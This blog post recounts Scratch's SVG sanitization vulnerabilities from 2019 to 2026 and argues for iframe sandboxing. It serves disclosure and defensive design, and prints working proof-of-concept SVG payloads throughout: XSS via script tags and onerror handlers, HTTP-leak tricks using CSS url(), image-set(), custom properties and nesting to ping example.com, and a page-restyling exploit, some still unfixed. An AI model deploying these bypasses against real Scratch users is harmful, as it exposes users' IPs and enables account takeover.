The woes of sanitizing SVGs

2026-04-11 on muffin.ink

Scratch has a long history of SVG-related vulnerabilities. The source of these is that Scratch parses user-generated (ie. attacker-controlled) content into an <svg> element and appends it into the main document for various operations (eg. measuring SVG bounding box in a more reliable way than viewbox or width/height).

No matter how briefly the SVG remains in the main document, this is an inherently unsafe operation. Scratch's approach to making this safe has been to build increasingly complex infrastructure around parsing the SVG and the markup within to remove dangerous parts.

I think Scratch's approach to SVG sanitization is doomed. To explain, we have to take a trip through the history of SVG sanitization in Scratch to see how well it has worked so far.

2019: XSS via <script> tag

In 2019, a few months after the initial release of Scratch 3, Scratch discovered that SVGs can contain <script> tags that Scratch would cause to be executed when the SVG loads. This is known as an XSS.

In Scratch terms, an XSS allows an attacker to take actions on behalf of anyone that loads their project. For example, the attacker can post comments, delete projects, or otherwise try to take over the victim's account. In Scratch Desktop, XSS is elevated to arbitrary code execution because Scratch Desktop enables Electron's dangerous Node.js integration feature. (TurboWarp Desktop has not enabled that feature since v0.2.0 from March 2021)

Example from Scratch's test suite:

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg">
  <circle cx="250" cy="250" r="50" fill="red" />
  <script type="text/javascript"><![CDATA[
      alert('from the svg!')
  ]]></script>
</svg>

This was fixed by using a regular expression to remove script tags.

Surely, with this change, SVGs are now fully safe and will require no further security fixes.

2020: XSS via oversights in previous fix (CVE-2020-27428)

In 2020, apple502j discovered that XSS is still possible. It turns out that the previous fix is utterly defective and can be bypassed by capitalizing <SCRIPT> because the regex is case-sensitive, among several other ways to bypass it. Even if the regex were implemented correctly, it would still not work because there are other ways to embed JavaScript in an SVG. For example, one can use an inline event handler:

<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
    <foreignObject x="1" y="1" width="1" height="1">
        <img
            xmlns="http://www.w3.org/1999/xhtml"
            src="data:any invalid URL"
            onerror="alert(1)"
        />
    </foreignObject>
</svg>

This was fixed by using DOMPurify to remove scripts from the SVG before scratch-svg-renderer appends it into the document.

Surely, with this change, SVGs are now fully safe and will require no further security fixes.

2022: HTTP leak via <image> href

In 2022, it was discovered that using the href property on an <image> element, an attacker can create an SVG that will invoke an external request when it is loaded. It turns out that while DOMPurify removes executable code, it does not protect against HTTP leaks because "there are too many ways of doing that and our tests showed that it cannot be done reliably".

In Scratch terms, an HTTP leak means that a Scratch user can log the IP of anyone that loads their project, possibly revealing information such as location or school district. The victim would not need to click on any links; the IP log happens just by loading the project. Scratch seems to consider this a security bug, and I agree.

Example:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="https://example.com/ping"/>
</svg>

This was fixed by adding DOMPurify hooks to remove href properties from all elements if the URL refers to a remote website.

Surely, with this change, SVGs are now fully safe and will require no further security fixes.

Note that the "Direct download" link on https://scratch.mit.edu/download for Windows downloads Scratch Desktop version 3.29.1 from February 2022. It is vulnerable to this bug and all other bugs described below.

2023: HTTP leak via CSS @import

In 2023, it was discovered that using a CSS @import statement inside of a <style> element, an attacker could create a project that invokes external requests when the project loads. Example:

<svg xmlns="http://www.w3.org/2000/svg">
  <style>
    @import url("https://example.com/ping");
  </style>
</svg>

This was fixed by integrating a CSS parser written in JavaScript to remove dangerous parts of the CSS. They would parse all stylesheets contained in SVGs, remove any @import statements, and convert the CSS back to a string if any changes were made so that the dangerous stuff is removed.

Surely, with this change, SVGs are now fully safe and will require no further security fixes.

2024: XSS via Paper.js

In 2024, I discovered an XSS in Paper.js, a library Scratch uses in the costume editor. It turns out that while Scratch sanitized SVGs before working on them in scratch-svg-renderer, unsanitized SVGs were still being passed to Paper.js. This has largely the same impact as the 2020 scratch-svg-renderer XSS, but occurs when using the costume editor instead of when initially opening a project. Example:

<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" data-paper-data="any invalid JSON">
    <foreignObject x="1" y="1" width="1" height="1">
        <img
            xmlns="http://www.w3.org/1999/xhtml"
            src="data:any invalid URL"
            onerror="alert(1)"
        />
    </foreignObject>
</svg>

This was somewhat fixed on an extremely delayed timeline by extending the existing SVG sanitization code to run when loading an SVG, not just when processing it in scratch-svg-renderer. This means that Paper.js will only receive SVGs that have already been sanitized.

I say "somewhat fixed" because I'm not sure if that sanitization ever runs for server-downloaded SVGs. Scratch support told me they "have protections against this that are handled on our server side" which may make that redundant. I have never seen any evidence of such protections while developing proof-of-concepts, but maybe they are real.

Surely, with this change, SVGs are now fully safe and will require no further security fixes.

2025: HTTP leak via CSS url()

In 2025, it was discovered that using url() inside of certain CSS rules, an attacker can create an SVG that will invoke an external request when it is loaded. Examples:

<svg xmlns="http://www.w3.org/2000/svg">
    <!-- inline style -->
    <rect style="background-image: url(https://example.com/ping)" />

    <!-- can also use a <style> element -->
    <style>
        .img {
            background-image: url("https://example.com/ping");
        }
    </style>
    <rect class="img" />
</svg>

This was fixed by substantially expanding the SVG sanitization code to also search for any usage of url() and remove any styles or attributes referencing external URLs.

Surely, with this change, SVGs are now fully safe and will require no further security fixes.

2026: HTTP leak via several bugs in the previous code

In 2026, it was discovered that using url() inside of certain CSS rules, it is still possible for an attacker to create an SVG that will invoke an external request when it is loaded. It turns out there were at least three unique bugs that each allowed an HTTP leak:

Examples:

<svg xmlns="http://www.w3.org/2000/svg">
    <circle fill="\75\72\6c(https://example.com/ping)" />
    <rect style="/* url(#safe_url) */ background-image: url(https://example.com/ping)" />
    <style>
        :root {
            --example: url(https://example.com/ping);
        }
        .img {
            background-image: var(--example);
        }
    </style>
    <rect class="img" />
</svg>

This was fixed by adding a substantial amount of additional complexity around code that was already way too complex.

Surely, with this change, SVGs are now fully safe and will require no further security fixes.

2026: Full page restyling via long transitions

In 2026, it was discovered that through clever use of very long transitions and forcing the browser to restyle all elements, an attacker can apply arbitrary styles to the full Scratch page that last until refresh. Most uses of this have been "fun" things, but here's a few ideas about more evil things you might be able to do:

Example project (not mine): https://scratch.mit.edu/projects/1299571218/

This will probably get fixed at some point, but today what you'll see is this:

Scratch project page, but all the page background colors are very obviously wrong.

This project uses two SVGs. The first one is the "trigger":

<svg xmlns="http://www.w3.org/2000/svg" width="200" height="100">
  <rect x="0" y="0" width="200" height="100" fill="#111"></rect>
  <text x="100" y="55" fill="#0f0" font-size="12" text-anchor="middle">
    Trigger
  </text>

  <style>
    /* Force browser to recalc styles to activate first SVG */
    *, * *, * * *, * * * * {
      transform: translateX(1px) scale(10000) rotateY(45deg) perspective(1cm) !important;
      transition: all 9999s ease !important;
      filter: blur(0px) !important;
    }
  </style>
</svg>

The second one contains the styles to display:

<svg xmlns="http://www.w3.org/2000/svg" width="200" height="100">
  <rect x="0" y="0" width="200" height="100" fill="#111"></rect>
  <text x="100" y="55" fill="#0f0" font-size="12" text-anchor="middle">
    Styles
  </text>

  <style>
    /* Global background blue */
    * {
      background-color: blue !important;
      color: white !important;
    }

    /* Project instructions/description styling */
    .project-description, .instructions-container {
      background-color: yellow !important;
      color: black !important;
      border: 10px solid red !important;
      transform: scale(1.1) !important;
    }
  </style>
</svg>

I won't pretend to fully understand what's going on here or why it works non-deterministically, but my general understanding is:

This is not fixed.

Surely, if this were fixed, SVGs would be fully safe and would require no further security fixes.

2026: HTTP leak via image-set()

I reported this one to Scratch in 2025. They didn't fix it, so whatever, I'll disclose it here. Any reasonable disclosure period lapsed 6 months ago.

Instead of using url(), an attacker can use image-set() to create an SVG that will invoke an external request when it is loaded. Examples:

<svg xmlns="http://www.w3.org/2000/svg">
    <!--
        image-set(...) can cause external resources to be requested without using url() at all.
    -->
    <style>
        .image-set-with-string-url {
            background-image: image-set("https://example.com/ping" 1x);
        }
    </style>
    <rect class="image-set-with-string-url" />

    <!--
        image-set(url(...)) works the same as image-set(...).
        This already gets blocked by the existing sanitization.
    -->
    <style>
        .image-set-with-inner-url-function {
            background-image: image-set(url(https://example.com/ping) 1x);
        }
    </style>
    <rect class="image-set-with-inner-url-function"></rect>

    <!--
        image-set() can also be used in inline style attributes.
    -->
    <rect style="background-image: image-set('https://example.com/ping' 1x)" />
</svg>

This is not fixed.

Surely, if this were fixed, SVGs would be fully safe and would require no further security fixes.

20XX: HTTP leak via new CSS features

I also reported this one to Scratch in 2025. This bug actually doesn't work today, but will in the future if browsers ever implement all of CSS Units Level 4 or CSS Images Level 4. Today, Ladybird is the only browser to implement either of these, but major browsers could implement them someday as well.

Instead of using url(), an attacker can use src() or image() to create an SVG that will invoke an external request when it is loaded. Examples:

<svg xmlns="http://www.w3.org/2000/svg">
    <!--
        Everything in this file relies on features that are defined in the browser specs, but not yet implemented in any browser.
        In theory, future browsers might initiate requests when they see these styles.
    -->

    <!--
        CSS Units Level 4 defines src(...) as an alternative to url(...).
        Unlike url(), src()'s URL can be any expression, not just a constant string.
        Reference: https://www.w3.org/TR/css-values-4/#example-a2ee15a6
        Not implemented by any major browser today. (Only implemented in the experimental Ladybird browser)
    -->
    <style>
        .src-constant {
            background: src('https://example.com/ping');
        }
        .src-variable {
            --url: 'https://example.com/ping';
            background: src(var(--url));
        }
    </style>
    <rect class="src-constant" />
    <rect class="src-variable" />

    <!--
        CSS Images Level 4 defines image() as an alternative to url() for images.
        Reference: https://www.w3.org/TR/css-images-4/#image-notation
        Not implemented by any major browser today.
    -->
    <style>
        .image {
            background: image('https://example.com/ping', black);
        }
    </style>
    <rect class="image" />

    <!-- Same as above examples, but using inline styles -->
    <rect style="background: src('https://example.com/ping');" />
    <rect style="--url: 'https://example.com/ping'; background: src(var(--url));" />
    <rect style="background: image('https://example.com/ping', black);" />
</svg>

This is not fixed.

Surely, if this were fixed, SVGs would be fully safe and would require no further security fixes.

This is unsustainable

Stacking more and more complexity into sanitization is clearly a doomed approach. We are more than 5 major revisions deep and yet there are still known holes. People are actively sharing projects on the Scratch website bypassing SVG sanitization. And the moment browsers decide to implement the latest CSS specs, even more holes will open up.

Furthermore, not all of these problems have clear solutions. For full page styling, both SVGs seem completely benign: there is no JavaScript or references to external resources. The fix would likely be to remove transition styles since the transitions would never run in Scratch anyway, but are you sure that's sufficient? Will you remember to also remove all the vendor-prefixed versions of transition? What about animation styles?

Some other possible cases that might allow more bypasses in the future:

An alternative

TurboWarp (a Scratch fork I work on) was unaffected by the 2026 HTTP leaks and full page restyling issue. This isn't because I found all the clever ways for an SVG to do something bad; in fact I actually deleted the CSS sanitization code entirely to make packaged projects 400KB smaller.

I implemented an alternative approach of sandboxing the SVG inside of an iframe. First, we set up an iframe with a sandbox property of allow-same-origin. This will block script execution inside the iframe, but still let us interact with the contents inside.

Second, we set up the iframe with the following hardcoded HTML:

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <meta http-equiv="Content-Security-Policy" content="default-src 'none'; style-src 'unsafe-inline' data:; font-src data:; img-src data:">
    </head>
    <body></body>
</html>

The inline Content-Security-Policy is set up to block all scripts and only allow loading safe resources from safe data URLs. We also still use DOMPurify to remove obviously evil things from the SVG. We then put the iframe into the document offscreen somewhere so that the measurement APIs Scratch needs will still work.

This approach gives us some very nice properties:

You can find our code here:

Maybe you can do some other interesting stuff with shadow DOM or other web APIs, but we found that the iframe is working fine for us.

The below sections will cover any new issues I become aware of after publication.

2026-04-12: Claude finds HTTP leak via CSS nesting relaxed syntax

After publishing this, I was curious how well current language models are at finding these bugs. I told Claude Opus 4.6 to clone the scratch-editor repo, look at the recent SVG renderer changes, and see if there were any holes. Results were interesting:

The bug involves CSS nesting, which can appear in two forms. The nested style can prefix the selector with an & or instead just not prefix it (the latter being known as "relaxed" syntax). Modern browsers interpret both of the below identically.

g {
    & rect {
        background-image: url(https://example.com/ping);
    }
}

g {
    rect {
        background-image: url(https://example.com/ping);
    }
}

css-tree is capable of parsing the &-prefixed version into a meaningful syntax tree that Scratch can sanitize. However, it turns out that css-tree does not know how to parse the relaxed version. The entire div { ... } block is parsed as a "raw text" node which Scratch's code will not sanitize. Full example SVG:

<svg xmlns="http://www.w3.org/2000/svg">
    <style>
        g { rect { background-image: url(https://example.com/ping); } }
    </style>
    <g><rect></rect></g>
</svg>

Earlier in this post, I mentioned that "css-tree and the real CSS parsers in browsers might not completely match". This is a real-world example of that kind of bug allowing CSS to bypass sanitization. Note that css-tree currently has 48 open issues and certainly many more unknown ones. I believe depending on css-tree to be a perfect parser is a hopeless path that will continue to result in more vulnerabilities. TurboWarp's SVG sandbox fixed this bug before I even knew it existed.

This is not fixed. The css-tree issue for this bug has been open since December 2023.

Surely, if this were fixed, SVGs would be fully safe and would require no further security fixes.